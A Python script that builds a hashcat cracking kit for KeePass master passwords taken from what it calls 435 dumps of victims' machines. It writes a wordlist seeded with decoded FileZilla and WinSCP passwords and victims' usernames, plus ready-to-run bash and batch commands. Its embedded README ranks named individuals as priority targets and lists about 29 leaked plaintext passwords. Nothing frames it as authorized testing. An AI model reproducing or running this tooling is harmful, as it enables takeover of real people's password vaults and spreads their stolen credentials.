"""
Prepare hashcat attack files: split hashes by mode, build targeted wordlist
from dump-extracted credentials, and generate ready-to-run commands.

Produces:
  data/hashcat/
    kdbx3_aes_6000.txt        -- KDBX3, AES-KDF 6000 rounds (mode 13400)
    kdbx3_aes_600k.txt        -- KDBX3, AES-KDF 600K rounds (mode 13400)
    kdbx3_aes_48m.txt         -- KDBX3, AES-KDF 48M rounds  (mode 13400)
    kdbx4_argon2_easy.txt     -- KDBX4, Argon2 <=100 iter   (mode 29700)
    kdbx4_argon2_medium.txt   -- KDBX4, Argon2 100-300 iter  (mode 29700)
    all_hashes.txt            -- all hashes combined
    wordlist.txt              -- targeted wordlist (~1500 words)
    empty_password.txt        -- single empty line for empty-pw test
    commands.sh               -- ready-to-run hashcat commands
    commands.bat              -- same for Windows
    README.txt                -- attack plan with priorities
"""

import base64
import json
import re
from pathlib import Path

ROOT_DIR = Path(__file__).resolve().parents[2]
DATA_DIR = ROOT_DIR / "findings" / "data"
EXTRACTED_JSON = DATA_DIR / "legacy_extracted_credentials.json"
KEEPASS_JSON = DATA_DIR / "legacy_keepass_analysis.json"
HASHES_TXT = DATA_DIR / "legacy_keepass_hashes.txt"

OUT_DIR = DATA_DIR / "legacy_hashcat"


def parse_hash_line(line: str) -> dict:
    """Parse label:$keepass$*2*<cost>*... into structured data."""
    line = line.strip()
    if not line:
        return {}

    label, hash_val = line.split(":", 1) if ":" in line else ("", line)
    parts = hash_val.split("*")

    cost = int(parts[2]) if len(parts) > 2 else 0
    field4 = int(parts[3]) if len(parts) > 3 else 0

    # Argon2 hashes have 9 fields: $keepass$*2*<iter>*<memory>*<parallelism>*...
    # AES-KDF hashes have 8 fields: $keepass$*2*<rounds>*<data_offset>*...
    # Argon2 memory is 67108864 (64MB), while AES-KDF data_offset is < 1000
    is_argon2 = field4 >= 1000000

    return {
        "label": label,
        "hash": hash_val,
        "cost": cost,
        "is_argon2": is_argon2,
    }


def build_wordlist() -> list[str]:
    """Build targeted wordlist from all dump credentials + common passwords."""
    words = set()

    # --- FileZilla base64 passwords ---
    if EXTRACTED_JSON.exists():
        with open(EXTRACTED_JSON, encoding="utf-8") as f:
            data = json.load(f)
        for entry in data:
            for finding in entry.get("findings", []):
                ftype = finding.get("type", "")
                detail = finding.get("detail", "")

                if ftype == "filezilla_password" and detail:
                    try:
                        decoded = base64.b64decode(detail).decode("utf-8", errors="replace")
                        if 2 < len(decoded) < 64 and not decoded.startswith("eyJ"):
                            words.add(decoded)
                    except Exception:
                        pass

                if ftype == "winscp_password" and detail:
                    words.add(detail[:64])

    # --- Usernames from KeePass hosts ---
    if KEEPASS_JSON.exists():
        with open(KEEPASS_JSON, encoding="utf-8") as f:
            kp = json.load(f)
        for host in kp.get("hosts", []):
            u = host.get("username", "")
            c = host.get("computer_name", "")
            if u:
                words.update([u, u.lower(), u.upper(), u.capitalize()])
            if c:
                words.add(c.lower())

    # --- All usernames from hosts.csv ---
    hosts_csv = DATA_DIR / "legacy_dump_hosts.csv"
    if hosts_csv.exists():
        import csv
        with open(hosts_csv, encoding="utf-8") as f:
            for row in csv.DictReader(f):
                u = row.get("username", "")
                if u and len(u) > 2:
                    words.update([u, u.lower()])

    # --- Common passwords (targeted for young gamers demographic) ---
    common = [
        "password", "Password", "PASSWORD", "password1", "Password1",
        "password123", "Password123", "password!", "P@ssw0rd",
        "123456", "12345678", "123456789", "1234567890",
        "qwerty", "qwerty123", "Qwerty123", "qwertyuiop",
        "abc123", "monkey", "master", "dragon", "login",
        "letmein", "welcome", "shadow", "sunshine", "trustno1",
        "iloveyou", "admin", "Admin", "administrator",
        "test", "Test", "test123", "Test123",
        "pass", "pass123", "Pass123", "passw0rd",
        "changeme", "default", "secret", "Secret",
        "minecraft", "Minecraft", "minecraft123",
        "gaming", "gamer", "gamer123", "Game123",
        "hello", "Hello", "hello123",
        "fuckyou", "fuck", "shit", "asshole",
        "1234", "12345", "54321", "11111", "111111", "11111111",
        "000000", "121212", "123123", "654321",
        "666666", "696969", "7777777", "88888888",
        "aaaaaa", "asdfgh", "asdf", "zxcvbn", "zxcvbnm",
        "1q2w3e4r", "1q2w3e", "q1w2e3r4",
        "1", "12", "123", "a", "aa", "aaa", "x", "xx", "xxx",
        "keepass", "KeePass", "keepass123", "master123",
        "database", "Database", "main", "Main",
        "multi", "Multi", "passwords", "Passwords",
        "chrome", "firefox", "brave",
        "batman", "superman", "spider", "pokemon", "pikachu",
        "soccer", "football", "baseball", "jordan", "jordan23",
        "letmein", "access", "master", "mustang", "michael",
        "charlie", "andrew", "joshua", "thomas", "robert",
        "ashley", "nicole", "jessica", "daniel", "hunter",
        "buster", "ranger", "pepper", "harley", "summer",
        "george", "cookie", "flower", "freedom", "bailey",
        "princess", "diamond", "thunder", "hammer", "killer",
        "matrix", "arsenal", "liverpool", "chelsea",
        "computer", "internet", "windows", "google",
        "starwars", "qazwsx", "trustno1", "whatever",
        "r00t", "root", "toor", "system",
    ]
    words.update(common)

    # --- Add year/symbol variations ---
    base = list(words)
    for w in base:
        if w and len(w) >= 2:
            words.update([
                w + "!", w + "1", w + "123", w + "1234",
                w + "2024", w + "2025", w + "2023",
                w + "@", w + "#",
                w.capitalize() + "1", w.capitalize() + "!",
                w.capitalize() + "123",
            ])

    words.discard("")
    return sorted(words)


def run():
    OUT_DIR.mkdir(parents=True, exist_ok=True)

    # --- Load and categorize hashes ---
    lines = HASHES_TXT.read_text(encoding="utf-8").strip().splitlines()
    parsed = [parse_hash_line(l) for l in lines if l.strip()]

    aes_6000 = []
    aes_600k = []
    aes_48m = []
    argon2_easy = []
    argon2_medium = []

    for h in parsed:
        if not h:
            continue
        if h["is_argon2"]:
            if h["cost"] <= 100:
                argon2_easy.append(h)
            else:
                argon2_medium.append(h)
        else:
            if h["cost"] <= 10000:
                aes_6000.append(h)
            elif h["cost"] <= 1000000:
                aes_600k.append(h)
            else:
                aes_48m.append(h)

    # --- Write hash files (hash only, no label — hashcat format) ---
    def write_hashes(path, hashes):
        with open(path, "w", encoding="utf-8") as f:
            for h in hashes:
                f.write(h["hash"] + "\n")
        return len(hashes)

    n1 = write_hashes(OUT_DIR / "kdbx3_aes_6000.txt", aes_6000)
    n2 = write_hashes(OUT_DIR / "kdbx3_aes_600k.txt", aes_600k)
    n3 = write_hashes(OUT_DIR / "kdbx3_aes_48m.txt", aes_48m)
    n4 = write_hashes(OUT_DIR / "kdbx4_argon2_easy.txt", argon2_easy)
    n5 = write_hashes(OUT_DIR / "kdbx4_argon2_medium.txt", argon2_medium)
    n_all = write_hashes(OUT_DIR / "all_hashes.txt", parsed)

    # --- Also write labeled version for reference ---
    with open(OUT_DIR / "all_hashes_labeled.txt", "w", encoding="utf-8") as f:
        for h in parsed:
            if h:
                f.write(f"{h['label']}:{h['hash']}\n")

    print(f"Hash files written to {OUT_DIR}/")
    print(f"  kdbx3_aes_6000.txt:       {n1} hashes (AES-KDF 6000 rounds — INSTANT)")
    print(f"  kdbx3_aes_600k.txt:       {n2} hashes (AES-KDF 600K rounds — seconds)")
    print(f"  kdbx3_aes_48m.txt:        {n3} hashes (AES-KDF 48M rounds — minutes)")
    print(f"  kdbx4_argon2_easy.txt:    {n4} hashes (Argon2d <=100 iter -- fast)")
    print(f"  kdbx4_argon2_medium.txt:  {n5} hashes (Argon2d 100-300 iter -- medium)")
    print(f"  all_hashes.txt:           {n_all} total")

    # --- Build wordlist ---
    wordlist = build_wordlist()
    wl_path = OUT_DIR / "wordlist.txt"
    with open(wl_path, "w", encoding="utf-8") as f:
        for w in wordlist:
            f.write(w + "\n")
    print(f"\n  wordlist.txt:             {len(wordlist)} passwords")

    # --- Empty password file ---
    empty_path = OUT_DIR / "empty_password.txt"
    with open(empty_path, "w", encoding="utf-8") as f:
        f.write("\n")

    # --- Generate commands ---
    _write_commands_sh(OUT_DIR)
    _write_commands_bat(OUT_DIR)
    _write_readme(OUT_DIR, n1, n2, n3, n4, n5, len(wordlist), aes_6000, aes_600k, aes_48m, argon2_easy, argon2_medium)

    print(f"\n  commands.sh / commands.bat / README.txt written")
    print(f"\nDone! Copy the hashcat/ folder to your cracking rig and run.")


def _write_commands_sh(out_dir: Path):
    cmds = r"""#!/bin/bash
# ============================================================
# KeePass Hashcat Attack Commands
# ============================================================
# Mode 13400 = KeePass 1/2 (AES-KDF)
# Mode 29700 = KeePass (Argon2)
# ============================================================

echo "=== PHASE 0: Empty password test (all hashes) ==="

# Test empty password against ALL hashes (instant)
hashcat -m 13400 -a 0 kdbx3_aes_6000.txt empty_password.txt --show 2>/dev/null
hashcat -m 13400 -a 0 kdbx3_aes_600k.txt empty_password.txt --show 2>/dev/null
hashcat -m 13400 -a 0 kdbx3_aes_48m.txt empty_password.txt --show 2>/dev/null
hashcat -m 29700 -a 0 kdbx4_argon2_easy.txt empty_password.txt --show 2>/dev/null
hashcat -m 29700 -a 0 kdbx4_argon2_medium.txt empty_password.txt --show 2>/dev/null

echo ""
echo "=== PHASE 1: AES-KDF 6000 rounds — wordlist (INSTANT on GPU) ==="
hashcat -m 13400 -a 0 kdbx3_aes_6000.txt wordlist.txt -O -w 3

echo ""
echo "=== PHASE 2: Argon2 easy (≤100 iter) — wordlist ==="
hashcat -m 29700 -a 0 kdbx4_argon2_easy.txt wordlist.txt -O -w 3

echo ""
echo "=== PHASE 3: AES-KDF 600K rounds — wordlist ==="
hashcat -m 13400 -a 0 kdbx3_aes_600k.txt wordlist.txt -O -w 3

echo ""
echo "=== PHASE 4: Argon2 medium (100-300 iter) — wordlist ==="
hashcat -m 29700 -a 0 kdbx4_argon2_medium.txt wordlist.txt -O -w 3

echo ""
echo "=== PHASE 5: AES-KDF 48M rounds — wordlist (slow) ==="
hashcat -m 13400 -a 0 kdbx3_aes_48m.txt wordlist.txt -O -w 3

echo ""
echo "=== PHASE 6: Brute-force short passwords (1-6 chars) ==="
echo "--- 6000 rounds (instant) ---"
hashcat -m 13400 -a 3 kdbx3_aes_6000.txt ?a?a?a?a -O -w 3 --increment --increment-min 1
hashcat -m 13400 -a 3 kdbx3_aes_6000.txt ?a?a?a?a?a?a -O -w 3 --increment --increment-min 5

echo "--- Argon2 easy ---"
hashcat -m 29700 -a 3 kdbx4_argon2_easy.txt ?a?a?a?a -O -w 3 --increment --increment-min 1
hashcat -m 29700 -a 3 kdbx4_argon2_easy.txt ?a?a?a?a?a?a -O -w 3 --increment --increment-min 5

echo ""
echo "=== PHASE 7: rockyou.txt (if available) ==="
# hashcat -m 13400 -a 0 kdbx3_aes_6000.txt /path/to/rockyou.txt -O -w 3
# hashcat -m 29700 -a 0 kdbx4_argon2_easy.txt /path/to/rockyou.txt -O -w 3

echo ""
echo "=== Show all cracked ==="
hashcat -m 13400 all_hashes.txt --show 2>/dev/null
hashcat -m 29700 kdbx4_argon2_easy.txt --show 2>/dev/null
hashcat -m 29700 kdbx4_argon2_medium.txt --show 2>/dev/null
"""
    (out_dir / "commands.sh").write_text(cmds, encoding="utf-8")


def _write_commands_bat(out_dir: Path):
    cmds = r"""@echo off
REM ============================================================
REM KeePass Hashcat Attack Commands (Windows)
REM ============================================================
REM Mode 13400 = KeePass 1/2 (AES-KDF)
REM Mode 29700 = KeePass (Argon2)
REM ============================================================
REM Run from ANYWHERE -- uses %~dp0 to find hash/wordlist files
REM ============================================================

set "D=%~dp0"

echo === PHASE 0: Empty password test ===
hashcat -m 13400 -a 0 "%D%kdbx3_aes_6000.txt" "%D%empty_password.txt" --show 2>nul
hashcat -m 13400 -a 0 "%D%kdbx3_aes_600k.txt" "%D%empty_password.txt" --show 2>nul
hashcat -m 13400 -a 0 "%D%kdbx3_aes_48m.txt" "%D%empty_password.txt" --show 2>nul
hashcat -m 29700 -a 0 "%D%kdbx4_argon2_easy.txt" "%D%empty_password.txt" --show 2>nul
hashcat -m 29700 -a 0 "%D%kdbx4_argon2_medium.txt" "%D%empty_password.txt" --show 2>nul

echo.
echo === PHASE 1: AES-KDF 6000 rounds + wordlist (INSTANT on GPU) ===
hashcat -m 13400 -a 0 "%D%kdbx3_aes_6000.txt" "%D%wordlist.txt" -O -w 3
pause

echo.
echo === PHASE 2: Argon2 easy (<=100 iter) + wordlist ===
hashcat -m 29700 -a 0 "%D%kdbx4_argon2_easy.txt" "%D%wordlist.txt" -O -w 3
pause

echo.
echo === PHASE 3: AES-KDF 600K rounds + wordlist ===
hashcat -m 13400 -a 0 "%D%kdbx3_aes_600k.txt" "%D%wordlist.txt" -O -w 3
pause

echo.
echo === PHASE 4: Argon2 medium (100-300 iter) + wordlist ===
hashcat -m 29700 -a 0 "%D%kdbx4_argon2_medium.txt" "%D%wordlist.txt" -O -w 3
pause

echo.
echo === PHASE 5: AES-KDF 48M rounds + wordlist (SLOW) ===
hashcat -m 13400 -a 0 "%D%kdbx3_aes_48m.txt" "%D%wordlist.txt" -O -w 3
pause

echo.
echo === PHASE 6: Brute-force 1-6 chars on easy hashes ===
hashcat -m 13400 -a 3 "%D%kdbx3_aes_6000.txt" ?a?a?a?a -O -w 3 --increment --increment-min 1
hashcat -m 13400 -a 3 "%D%kdbx3_aes_6000.txt" ?a?a?a?a?a?a -O -w 3 --increment --increment-min 5
hashcat -m 29700 -a 3 "%D%kdbx4_argon2_easy.txt" ?a?a?a?a -O -w 3 --increment --increment-min 1
pause

echo.
echo === PHASE 7: rockyou.txt (uncomment and set path) ===
REM hashcat -m 13400 -a 0 "%D%kdbx3_aes_6000.txt" rockyou.txt -O -w 3
REM hashcat -m 29700 -a 0 "%D%kdbx4_argon2_easy.txt" rockyou.txt -O -w 3

echo.
echo === Show ALL cracked ===
hashcat -m 13400 "%D%all_hashes.txt" --show 2>nul
hashcat -m 29700 "%D%kdbx4_argon2_easy.txt" --show 2>nul
hashcat -m 29700 "%D%kdbx4_argon2_medium.txt" --show 2>nul
pause
"""
    (out_dir / "commands.bat").write_text(cmds, encoding="utf-8")


def _write_readme(out_dir, n1, n2, n3, n4, n5, nw,
                  aes_6000, aes_600k, aes_48m, argon2_easy, argon2_medium):

    def fmt_labels(hashes, max_show=10):
        lines = []
        for h in hashes[:max_show]:
            lines.append(f"    {h['label']}  (cost={h['cost']})")
        if len(hashes) > max_show:
            lines.append(f"    ... and {len(hashes) - max_show} more")
        return "\n".join(lines)

    readme = f"""============================================================
  KeePass Hashcat Attack Kit — README
============================================================

OVERVIEW
--------
24 hosts with KeePass databases, 49 unique hashes extracted.
All databases are password-only (no key file required).

HASH FILES
----------
  kdbx3_aes_6000.txt       {n1:>3} hashes  hashcat -m 13400  AES-KDF 6000 rounds
  kdbx3_aes_600k.txt       {n2:>3} hashes  hashcat -m 13400  AES-KDF 600K rounds
  kdbx3_aes_48m.txt        {n3:>3} hashes  hashcat -m 13400  AES-KDF 48M rounds
  kdbx4_argon2_easy.txt    {n4:>3} hashes  hashcat -m 29700  Argon2d ≤100 iter, 64MB
  kdbx4_argon2_medium.txt  {n5:>3} hashes  hashcat -m 29700  Argon2d 100-300 iter, 64MB
  all_hashes.txt           {n1+n2+n3+n4+n5:>3} total

WORDLIST
--------
  wordlist.txt             {nw} passwords (targeted from dump data)

  Sources:
    - Decoded FileZilla base64 passwords (Doggy318, VeryCoolCraft8!, etc.)
    - Usernames from all 435 dumps
    - Common passwords + year/symbol variations

ATTACK PRIORITY
---------------
Phase 0: Empty password on everything (instant)
Phase 1: kdbx3_aes_6000.txt + wordlist — INSTANT on any GPU
Phase 2: kdbx4_argon2_easy.txt + wordlist — fast (42-100 Argon2 iter)
Phase 3: kdbx3_aes_600k.txt + wordlist — seconds per password
Phase 4: kdbx4_argon2_medium.txt + wordlist — medium
Phase 5: kdbx3_aes_48m.txt + wordlist — slow (48M AES rounds)
Phase 6: Brute-force 1-6 chars on easiest hashes
Phase 7: rockyou.txt on easiest hashes

HIGH-VALUE TARGETS (non-empty databases)
-----------------------------------------
  #1 PRIORITY — damie (dump 253):
    - multi.kdbx (400KB!) — Argon2d, 42 iter — VERY FAST to crack
    - multi.old.kdbx (400KB) — same settings
    - Passwords.kdbx (12KB) — Argon2d, 40 iter
    - Passwords-c.kdbx (28KB) — Argon2d, 226 iter
    - Passwordstest.kdbx — Argon2d, 215 iter
    - 8x c.kdbx — AES-KDF 6000 rounds
    - Config shows: password-only, NO key file
    - KeeShare signer = "damie"

  #2 — jrhoades (dump 352):
    - jrhoadesMainDB.kdbx (49KB) — AES-KDF 48M rounds (SLOW)
    - Named personal DB, likely contains real credentials

  #3 — cockl (dump 12):
    - Database.kdbx (36KB) — AES-KDF 600K rounds
    - Path: Users\\cockl\\Documents\\DB_KP\\

  #4 — tamay (dump 249):
    - Database.kdbx (11KB) — AES-KDF 600K rounds
    - Path: BodegaPersonal/# Keepass CONTRASEÑAS/

  #5 — jackb (dump 232):
    - Database.kdbx (2KB) — AES-KDF 600K rounds

HASH DETAILS BY FILE
---------------------
kdbx3_aes_6000.txt ({n1} hashes, AES-KDF 6000 rounds):
{fmt_labels(aes_6000, 35)}

kdbx3_aes_600k.txt ({n2} hashes, AES-KDF 600K rounds):
{fmt_labels(aes_600k)}

kdbx3_aes_48m.txt ({n3} hashes, AES-KDF 48M rounds):
{fmt_labels(aes_48m)}

kdbx4_argon2_easy.txt ({n4} hashes, Argon2d ≤100 iter):
{fmt_labels(argon2_easy)}

kdbx4_argon2_medium.txt ({n5} hashes, Argon2d 100-300 iter):
{fmt_labels(argon2_medium)}

KNOWN PASSWORDS FROM DUMPS (already in wordlist)
-------------------------------------------------
These were found as FileZilla/FTP credentials on various hosts.
Users often reuse passwords — any of these could be a KeePass master password.

  172856        (FileZilla, multiple hosts)
  Wk7Kz:3-7l4CYu  (FileZilla)
  sarahjekh5@gmail.com.829255  (FileZilla)
  OpalVixen06)    (FileZilla, dump 268 OpalKitsune)
  OpalKitsune.2954568  (FileZilla)
  watashiwawatashi1   (FileZilla)
  watashiwawatashi7075 (FileZilla)
  Welpen13!       (FileZilla)
  Watashi wa watashi7075  (FileZilla)
  kupa dzika      (FileZilla)
  Janek0323       (FileZilla)
  Cats1234!       (FileZilla)
  35wF_2Z2N7xk   (FileZilla, random)
  B3atrice+B3njamin  (FileZilla)
  uNDEItay        (FileZilla)
  Doggy318        (FileZilla, Apex Hosting FTP)
  raspberry       (FileZilla)
  shun            (FileZilla)
  cWVNU3wJ        (FileZilla)
  3aIbmjn8        (FileZilla)
  4kwXmC8B        (FileZilla)
  nuqS3KyS        (FileZilla)
  RcugKy7M        (FileZilla)
  ps3             (FileZilla)
  t4l1b.w4j33H   (FileZilla)
  VeryCoolCraft8! (FileZilla, BisectHosting SFTP)
  cscsYTYT99      (FileZilla)
  xH23wR0uh       (FileZilla)
  0Za7pqwUFe      (FileZilla)

TIPS
----
1. Start with Phase 1 (6000 rounds) — these will crack in milliseconds
2. damie's multi.kdbx is the #1 prize — 400KB database, Argon2d 42 iter
3. If nothing cracks with wordlist, try rockyou.txt + rules:
   hashcat -m 13400 kdbx3_aes_6000.txt rockyou.txt -r best64.rule
4. For Argon2 hashes, GPU helps less — CPU mode may be needed:
   hashcat -m 29700 -D 1 kdbx4_argon2_easy.txt wordlist.txt
"""
    (out_dir / "README.txt").write_text(readme, encoding="utf-8")


if __name__ == "__main__":
    run()
